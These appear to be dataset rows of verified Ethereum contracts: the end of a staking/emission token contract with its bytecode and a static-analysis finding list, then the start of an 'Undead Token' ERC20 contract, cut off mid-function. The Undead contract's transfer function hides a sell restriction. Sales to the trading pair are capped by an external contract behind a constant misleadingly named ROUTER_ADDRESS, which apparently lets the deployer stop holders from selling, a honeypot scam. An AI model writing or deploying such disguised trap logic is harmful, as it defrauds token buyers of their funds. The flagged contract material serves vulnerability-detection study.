function unwhitelist(address _address) public onlyAdministrator returns (bool success) {
Address_Whitelisted[_address] = false;
return true;
}
function secondAndDay(uint _secondsperday, uint _daysperepoch) public onlyAdministrator returns (bool success) {
secondsPerDay = _secondsperday;
daysPerEpoch = _daysperepoch;
return true;
}
function nextEpoch(uint _nextepoch) public onlyAdministrator returns (bool success) {
nextEpochTime = _nextepoch;
return true;
}
function whitelistOnEmission(address _address) public onlyAdministrator returns (bool success) {
emission_Whitelisted[_address] = true;
return true;
}
function unwhitelistOnEmission(address _address) public onlyAdministrator returns (bool success) {
emission_Whitelisted[_address] = false;
return true;
}
function supplyeffect(uint _amount) public onlyBurningPool returns (bool success) {
totalSupply -= _amount;
emit BurnEvent(burningPool, address(0x0), _amount);
return true;
}
function poolpercentages(uint _p1, uint _p2, uint _p3, uint _p4, uint trigRe) public onlyAdministrator returns (bool success) {
pool1percentage = _p1;
pool2percentage = _p2;
pool3percentage = _p3;
pool4percentage = _p4;
trigRewardpercentage = trigRe;
return true;
}
function Burn(uint _amount) public returns (bool success) {
require(balanceOf[msg.sender] >= _amount, "You do not have the amount of tokens you wanna burn in your wallet");
balanceOf[msg.sender] -= _amount;
totalSupply -= _amount;
emit BurnEvent(msg.sender, address(0x0), _amount);
return true;
}
//========================================ERC20=========================================//
// ERC20 Transfer function
function transfer(address to, uint value) public override returns (bool success) {
_transfer(msg.sender, to, value);
return true;
}
// ERC20 Approve function
function approve(address spender, uint value) public override returns (bool success) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
// ERC20 TransferFrom function
function transferFrom(address from, address to, uint value) public override returns (bool success) {
require(value <= allowance[from][msg.sender], 'Must not send more than allowance');
allowance[from][msg.sender] -= value;
_transfer(from, to, value);
return true;
}
// Internal transfer function which includes the Fee
function _transfer(address _from, address _to, uint _value) private {
messagesender = msg.sender; //this is the person actually making the call on this function
require(balanceOf[_from] >= _value, 'Must not send more than balance');
require(balanceOf[_to] + _value >= balanceOf[_to], 'Balance overflow');
balanceOf[_from] -= _value;
if(Address_Whitelisted[msg.sender]){ //if the person making the transaction is whitelisted, the no burn on the transaction
actualValue = _value;
}else{
bpValue = mulDiv(_value, 15, 10000); //this is 0.15% for basis point
actualValue = _value - bpValue; //this is the amount to be sent
balanceOf[address(this)] += bpValue; //this is adding the basis point charged to this contract
emit Transfer(_from, address(this), bpValue);
BPE += bpValue; //this is increasing the virtual basis point amount
emit BasisPointAdded(bpValue);
}
if(emission_Whitelisted[messagesender] == false){ //this is so that staking and unstaking will not trigger the emission
if(now >= nextDayTime){
amountToEmit = emittingAmount();
pool1Amount = mulDiv(amountToEmit, pool1percentage, 10000);
pool2Amount = mulDiv(amountToEmit, pool2percentage, 10000);
pool3Amount = mulDiv(amountToEmit, pool3percentage, 10000);
pool4Amount = mulDiv(amountToEmit, pool4percentage, 10000);
poolAmountTrig = mulDiv(amountToEmit, trigRewardpercentage, 10000);
TrigAmount = poolAmountTrig.div(2);
pool1Amount = pool1Amount.sub(TrigAmount);
pool2Amount = pool2Amount.sub(TrigAmount);
TrigReward = poolAmountTrig;
uint Ofrozenamount = ospfrozen();
uint Dfrozenamount = dspfrozen();
uint Ufrozenamount = uspfrozen();
uint Afrozenamount = aspfrozen();
if(Ofrozenamount > 0){
OSP(OraclePool).scaledToken(pool4Amount);
balanceOf[OraclePool] += pool4Amount;
emit Transfer(address(this), OraclePool, pool4Amount);
}else{
balanceOf[address(this)] += pool4Amount;
emit Transfer(address(this), address(this), pool4Amount);
BPE += pool4Amount;
}
if(Dfrozenamount > 0){
DSP(DefiPool).scaledToken(pool3Amount);
balanceOf[DefiPool] += pool3Amount;
emit Transfer(address(this), DefiPool, pool3Amount);
}else{
balanceOf[address(this)] += pool3Amount;
emit Transfer(address(this), address(this), pool3Amount);
BPE += pool3Amount;
}
if(Ufrozenamount > 0){
USP(swapPool).scaledToken(pool2Amount);
balanceOf[swapPool] += pool2Amount;
emit Transfer(address(this), swapPool, pool2Amount);
}else{
balanceOf[address(this)] += pool2Amount;
emit Transfer(address(this), address(this), pool2Amount);
BPE += pool2Amount;
}
if(Afrozenamount > 0){
ASP(lonePool).scaledToken(pool1Amount);
balanceOf[lonePool] += pool1Amount;
emit Transfer(address(this), lonePool, pool1Amount);
}else{
balanceOf[address(this)] += pool1Amount;
emit Transfer(address(this), address(this), pool1Amount);
BPE += pool1Amount;
}
nextDayTime += secondsPerDay;
currentDay += 1;
emit NewDay(currentEpoch, currentDay, nextDayTime);
//reward the wallet that triggered the EMISSION
balanceOf[_from] += TrigReward; //this is rewardig the person that triggered the emission
emit Transfer(address(this), _from, TrigReward);
emit TrigRewardEvent(address(this), msg.sender, TrigReward);
}
}
balanceOf[_to] += actualValue;
emit Transfer(_from, _to, actualValue);
}
//======================================EMISSION========================================//
// Internal - Update emission function
function emittingAmount() internal returns(uint){
if(now >= nextEpochTime){
currentEpoch += 1;
//if it is greater than the nextEpochTime, then it means we have entered the new epoch,
//thats why we are adding 1 to it, meaning new epoch emission
if(currentEpoch > 10){
emission = BPE;
BPE -= emission.div(2);
balanceOf[address(this)] -= emission.div(2);
}
emission = emission/2;
nextEpochTime += (secondsPerDay * daysPerEpoch);
emit NewEpoch(currentEpoch, emission, nextEpochTime);
}
return emission;
}
function ospfrozen() public view returns(uint){
return OSP(OraclePool).totalFrozen();
}
function dspfrozen() public view returns(uint){
return DSP(DefiPool).totalFrozen();
}
function uspfrozen() public view returns(uint){
return USP(swapPool).totalFrozen();
}
function aspfrozen() public view returns(uint){
return ASP(lonePool).totalFrozen();
}
function mulDiv (uint x, uint y, uint z) public pure returns (uint) {
(uint l, uint h) = fullMul (x, y);
assert (h < z);
uint mm = mulmod (x, y, z);
if (mm > l) h -= 1;
l -= mm;
uint pow2 = z & -z;
z /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint r = 1;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
return l * r;
}
function fullMul (uint x, uint y) private pure returns (uint l, uint h) {
uint mm = mulmod (x, y, uint (-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
}
|
0x608060405234801561001057600080fd5b50600436106103a35760003560e01c80636b13518d116101e9578063a9059cbb1161010f578063ca34857d116100ad578063e46640961161007c578063e466409614610889578063f31e1c9f14610891578063f497455414610899578063fee05d62146108a1576103a3565b8063ca34857d14610843578063ce9b468f1461084b578063d36fe2d514610853578063dd62ed3e1461085b576103a3565b8063b90306ad116100e9578063b90306ad1461080e578063be640d831461082b578063c35f6d3e14610833578063c96781de1461083b576103a3565b8063a9059cbb146107b1578063aa9a0912146107dd578063ae0074c614610806576103a3565b806396f4ee05116101875780639d379bdb116101565780639d379bdb14610755578063a1646a0a1461077b578063a2663d74146107a1578063a7f0b3de146107a9576103a3565b806396f4ee05146106f9578063982697dd146107015780639a590427146107095780639b19251a1461072f576103a3565b80637ba8a704116101c35780637ba8a704146106ac578063827c049e146106b457806384843eb5146106bc57806395d89b41146106f1576103a3565b80636b13518d1461067657806370a082311461067e57806376671808146106a4576103a3565b806326fabc7b116102ce5780634747b94d1161026c5780635c9302c91161023b5780635c9302c914610656578063638099531461065e5780636960a842146106665780636aed63231461066e576103a3565b80634747b94d146105e2578063486a7e6b146105ea5780634f45ae25146105f2578063529d8cd314610618576103a3565b8063342a7b01116102a8578063342a7b01146105745780633a70fd301461059157806341bc18b1146105b457806343306a96146105da576103a3565b806326fabc7b1461055c5780632c03413214610564578063313ce5671461056c576103a3565b806318160ddd1161034657806322344b051161031557806322344b05146104dd57806323b872dd146104e557806323fd97c81461051b57806326796dd51461053f576103a3565b806318160ddd1461049f578063197322fe146104a75780631b02b6e0146104cd5780631da56eb3146104d5576103a3565b8063095ea7b311610382578063095ea7b3146104475780630c294ae8146104875780631429baba1461048f578063180004fd14610497576103a3565b8062383d2f146103a857806306fdde03146103c25780630833ce881461043f575b600080fd5b6103b06108a9565b60408051918252519081900360200190f35b6103ca61091f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156104045781810151838201526020016103ec565b50505050905090810190601f1680156104315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103b06109ad565b6104736004803603604081101561045d57600080fd5b506001600160a01b0381351690602001356109f2565b604080519115158252519081900360200190f35b6103b0610a58565b6103b0610a5e565b6103b0610a64565b6103b0610a6a565b610473600480360360208110156104bd57600080fd5b50356001600160a01b0316610a70565b6103b0610ae9565b6103b0610aef565b6103b0610af5565b610473600480360360608110156104fb57600080fd5b506001600160a01b03813581169160208101359091169060400135610b3a565b610523610bdb565b604080516001600160a01b039092168252519081900360200190f35b6104736004803603602081101561055557600080fd5b5035610bea565b6103b0610c8b565b6103b0610cd0565b6103b0610cd6565b6104736004803603602081101561058a57600080fd5b5035610cdc565b610473600480360360408110156105a757600080fd5b5080359060200135610d35565b610473600480360360208110156105ca57600080fd5b50356001600160a01b0316610d94565b610523610e09565b6103b0610e18565b6103b0610e1e565b6104736004803603602081101561060857600080fd5b50356001600160a01b0316610e24565b6104736004803603608081101561062e57600080fd5b506001600160a01b038135811691602081013582169160408201358116916060013516610e39565b6103b0610edd565b6103b0610ee3565b6103b0610ee9565b610523610eef565b6103b0610efe565b6103b06004803603602081101561069457600080fd5b50356001600160a01b0316610f04565b6103b0610f16565b6103b0610f1c565b6103b0610f22565b610473600480360360a08110156106d257600080fd5b5080359060208101359060408101359060608101359060800135610f28565b6103ca610f93565b6103b0610fed565b610523610ff3565b6104736004803603602081101561071f57600080fd5b50356001600160a01b0316611002565b6104736004803603602081101561074557600080fd5b50356001600160a01b0316611077565b6104736004803603602081101561076b57600080fd5b50356001600160a01b03166110f0565b6104736004803603602081101561079157600080fd5b50356001600160a01b0316611105565b61052361117a565b6103b0611189565b610473600480360360408110156107c757600080fd5b506001600160a01b03813516906020013561118f565b6103b0600480360360608110156107f357600080fd5b50803590602081013590604001356111a5565b6103b0611259565b6104736004803603602081101561082457600080fd5b503561125f565b6103b061130c565b6103b0611312565b6103b0611318565b6103b061131e565b610523611324565b6103b0611333565b6103b06004803603604081101561087157600080fd5b506001600160a01b0381358116916020013516611339565b6103b0611356565b6103b061135c565b6103b0611362565b6103b0611368565b6009546040805163079fe1ef60e21b815290516000926001600160a01b031691631e7f87bc916004808301926020929190829003018186803b1580156108ee57600080fd5b505afa158015610902573d6000803e3d6000fd5b505050506040513d602081101561091857600080fd5b5051905090565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109a55780601f1061097a576101008083540402835291602001916109a5565b820191906000526020600020905b81548152906001019060200180831161098857829003601f168201915b505050505081565b6006546040805163079fe1ef60e21b815290516000926001600160a01b031691631e7f87bc916004808301926020929190829003018186803b1580156108ee57600080fd5b3360008181526012602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600e5481565b60055481565b60215481565b60045481565b6023546000906001600160a01b03163314610ac0576040805162461bcd60e51b81526020600482018190526024820152600080516020611ee5833981519152604482015290519081900360640190fd5b506001600160a01b03166000908152602c60205260409020805460ff1916600190811790915590565b60265481565b601b5481565b6007546040805163079fe1ef60e21b815290516000926001600160a01b031691631e7f87bc916004808301926020929190829003018186803b1580156108ee57600080fd5b6001600160a01b0383166000908152601260209081526040808320338452909152812054821115610b9c5760405162461bcd60e51b8152600401808060200182810382526021815260200180611ec46021913960400191505060405180910390fd5b6001600160a01b0384166000908152601260209081526040808320338452909152902080548390039055610bd184848461136e565b5060019392505050565b602a546001600160a01b031681565b600a546000906001600160a01b03163314610c365760405162461bcd60e51b815260040180806020018281038252603e815260200180611f67603e913960400191505060405180910390fd5b600480548390039055600a546040805184815290516000926001600160a01b0316917fe0deda1dd123aa6cdd7f4460830c05edf058ceb3c302f94e81a4fda7cfc42371919081900360200190a3506001919050565b6008546040805163079fe1ef60e21b815290516000926001600160a01b031691631e7f87bc916004808301926020929190829003018186803b1580156108ee57600080fd5b600b5481565b60025481565b6023546000906001600160a01b03163314610d2c576040805162461bcd60e51b81526020600482018190526024820152600080516020611ee5833981519152604482015290519081900360640190fd5b50601b55600190565b6023546000906001600160a01b03163314610d85576040805162461bcd60e51b81526020600482018190526024820152600080516020611ee5833981519152604482015290519081900360640190fd5b50601991909155601855600190565b6023546000906001600160a01b03163314610de4576040805162461bcd60e51b81526020600482018190526024820152600080516020611ee5833981519152604482015290519081900360640190fd5b506001600160a01b03166000908152602c60205260409020805460ff19169055600190565b6006546001600160a01b031681565b60105481565b60225481565b602b6020526000908152604090205460ff1681565b6023546000906001600160a01b03163314610e89576040805162461bcd60e51b81526020600482018190526024820152600080516020611ee5833981519152604482015290519081900360640190fd5b50600680546001600160a01b03199081166001600160a01b03968716179091556007805482169486169490941790935560088054841692851692909217909155600980549092169216919091179055600190565b60175481565b60195481565b60185481565b6009546001600160a01b031681565b600d5481565b60116020526000908152604090205481565b60165481565b60035481565b60155481565b6023546000906001600160a01b03163314610f78576040805162461bcd60e51b81526020600482018190526024820152600080516020611ee5833981519152604482015290519081900360640190fd5b50602594909455602692909255602755602855602955600190565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109a55780601f1061097a576101008083540402835291602001916109a5565b60295481565b6007546001600160a01b031681565b6023546000906001600160a01b03163314611052576040805162461bcd60e51b81526020600482018190526024820152600080516020611ee5833981519152604482015290519081900360640190fd5b506001600160a01b03166000908152602b60205260409020805460ff19169055600190565b6023546000906001600160a01b031633146110c7576040805162461bcd60e51b81526020600482018190526024820152600080516020611ee5833981519152604482015290519081900360640190fd5b506001600160a01b03166000908152602b60205260409020805460ff1916600190811790915590565b602c6020526000908152604090205460ff1681565b6023546000906001600160a01b03163314611155576040805162461bcd60e51b81526020600482018190526024820152600080516020611ee5833981519152604482015290519081900360640190fd5b50600a80546001600160a01b0383166001600160a01b03199091161790556001919050565b6008546001600160a01b031681565b601a5481565b600061119c33848461136e565b50600192915050565b60008060006111b48686611c30565b915091508381106111c157fe5b600084806111cb57fe5b8688099050828111156111df576001820391505b9182900391600085900385168086816111f457fe5b04955080848161120057fe5b04935080816000038161120f57fe5b046001019290920292909201600285810380870282030280870282030280870282030280870282030280870282030280870282030295860290039094029390930295945050505050565b601d5481565b336000908152601160205260408120548211156112ad5760405162461bcd60e51b8152600401808060200182810382526042815260200180611f256042913960600191505060405180910390fd5b33600081815260116020908152604080832080548790039055600480548790039055805186815290519293927fe0deda1dd123aa6cdd7f4460830c05edf058ceb3c302f94e81a4fda7cfc42371929181900390910190a3506001919050565b60285481565b600f5481565b600c5481565b60275481565b600a546001600160a01b031681565b601f5481565b601260209081526000928352604080842090915290825290205481565b60205481565b601e5481565b60255481565b601c5481565b602a80546001600160a01b031916331790556001600160a01b0383166000908152601160205260409020548111156113ed576040805162461bcd60e51b815260206004820152601f60248201527f4d757374206e6f742073656e64206d6f7265207468616e2062616c616e636500604482015290519081900360640190fd5b6001600160a01b038216600090815260116020526040902054818101101561144f576040805162461bcd60e51b815260206004820152601060248201526f42616c616e6365206f766572666c6f7760801b604482015290519081900360640190fd5b6001600160a01b038316600090815260116020908152604080832080548590039055338352602b90915290205460ff161561148e57602081905561152e565b61149c81600f6127106111a5565b601f818155818303602090815530600081815260118352604090819020805490950190945591548351908152925191926001600160a01b03871692600080516020611f05833981519152929181900390910190a3601f54601e80548201905560408051918252517f1330ba3093e46415841480e940641e13c5cb2a79863d5f29936420dba2f1624d9181900360200190a15b602a546001600160a01b03166000908152602c602052604090205460ff16611bdf57601c544210611bdf57611561611c5d565b601d81905560255461157691906127106111a5565b600b55601d5460265461158c91906127106111a5565b600c55601d546027546115a291906127106111a5565b600d55601d546028546115b891906127106111a5565b600e55601d546029546115ce91906127106111a5565b600f8190556115e490600263ffffffff611d3c16565b6010819055600b546115fb9163ffffffff611d8516565b600b55601054600c546116139163ffffffff611d8516565b600c55600f5460215560006116266108a9565b90506000611632610c8b565b9050600061163e610af5565b9050600061164a6109ad565b9050831561172757600954600e5460408051633b2065cf60e11b81526004810192909252516001600160a01b0390921691637640cb9e916024808201926020929091908290030181600087803b1580156116a357600080fd5b505af11580156116b7573d6000803e3d6000fd5b505050506040513d60208110156116cd57600080fd5b5050600e8054600980546001600160a01b03908116600090815260116020908152604091829020805490950190945591549354825190815291519316923092600080516020611f05833981519152928290030190a3611777565b600e805430600081815260116020908152604091829020805490940190935592548351908152925190928392600080516020611f0583398151915292918290030190a3600e54601e805490910190555b821561185257600854600d5460408051633b2065cf60e11b81526004810192909252516001600160a01b0390921691637640cb9e916024808201926020929091908290030181600087803b1580156117ce57600080fd5b505af11580156117e2573d6000803e3d6000fd5b505050506040513d60208110156117f857600080fd5b5050600d8054600880546001600160a01b03908116600090815260116020908152604091829020805490950190945591549354825190815291519316923092600080516020611f05833981519152928290030190a36118a2565b600d805430600081815260116020908152604091829020805490940190935592548351908152925190928392600080516020611f0583398151915292918290030190a3600d54601e805490910190555b811561197d57600754600c5460408051633b2065cf60e11b81526004810192909252516001600160a01b0390921691637640cb9e916024808201926020929091908290030181600087803b1580156118f957600080fd5b505af115801561190d573d6000803e3d6000fd5b505050506040513d602081101561192357600080fd5b5050600c8054600780546001600160a01b03908116600090815260116020908152604091829020805490950190945591549354825190815291519316923092600080516020611f05833981519152928290030190a36119cd565b600c805430600081815260116020908152604091829020805490940190935592548351908152925190928392600080516020611f0583398151915292918290030190a3600c54601e805490910190555b8015611aa857600654600b5460408051633b2065cf60e11b81526004810192909252516001600160a01b0390921691637640cb9e916024808201926020929091908290030181600087803b158015611a2457600080fd5b505af1158015611a38573d6000803e3d6000fd5b505050506040513d6020811015611a4e57600080fd5b5050600b8054600680546001600160a01b03908116600090815260116020908152604091829020805490950190945591549354825190815291519316923092600080516020611f05833981519152928290030190a3611af8565b600b805430600081815260116020908152604091829020805490940190935592548351908152925190928392600080516020611f0583398151915292918290030190a3600b54601e805490910190555b601954601c805490910190819055601780546001019081905560165460408051918252602082019290925280820192909252517f80fb1b49fb696967f7276660614bc3eda9d5de84b0589b1ba3c8a3997831b9bd9181900360600190a1602180546001600160a01b038916600081815260116020908152604091829020805490940190935592548351908152925190923092600080516020611f0583398151915292918290030190a36021546040805191825251339130917f92552527fa5ab3e91b9034146b3c83686e459ada0cd31509670b0743d301b4379181900360200190a3505050505b602080546001600160a01b038085166000818152601185526040908190208054909401909355835483519081529251909391871692600080516020611f0583398151915292908290030190a3505050565b6000808060001984860990508385029250828103915082811015611c55576001820391505b509250929050565b6000601b544210611d35576016805460010190819055600a1015611cca57601e546015819055611c9490600263ffffffff611d3c16565b601e8054919091039055601554611cb290600263ffffffff611d3c16565b30600090815260116020526040902080549190910390555b600260155481611cd657fe5b046015819055601854601954601b80549190920201908190556016546040805191825260208201939093528083019190915290517f3bb7b347508b7c148ec2094ac60d2e3d8b7595421025643f08b45cb78b326b589181900360600190a15b5060155490565b6000611d7e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dc7565b9392505050565b6000611d7e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e69565b60008183611e535760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e18578181015183820152602001611e00565b50505050905090810190601f168015611e455780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611e5f57fe5b0495945050505050565b60008184841115611ebb5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611e18578181015183820152602001611e00565b50505090039056fe4d757374206e6f742073656e64206d6f7265207468616e20616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef596f7520646f206e6f7420686176652074686520616d6f756e74206f6620746f6b656e7320796f752077616e6e61206275726e20696e20796f75722077616c6c6574417574686f72697a6174696f6e3a204f6e6c792074686520706f6f6c207468617420616c6c6f7773206275726e2063616e2063616c6c206f6e2074686973a2646970667358221220aaee34c73dbc8e86ccd25e7f1c415cef181051f0780655b466d29d45aa8175a864736f6c63430006040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,583 |
0x5CA7E6d945D8C8b38c9aed1dB9d22e6192437199
|
/**
*Submitted for verification at Etherscan.io on 2021-11-08
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/undeadtokenerc20
pragma solidity ^0.8.4;
address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet
uint256 constant TOTAL_SUPPLY=100000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="Undead Token";
string constant TOKEN_SYMBOL="UNDEAD";
uint8 constant DECIMALS=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract UndeadToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _burnFee=1;
uint256 private constant _taxFee=9;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
_router = _uniswapV2Router;
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
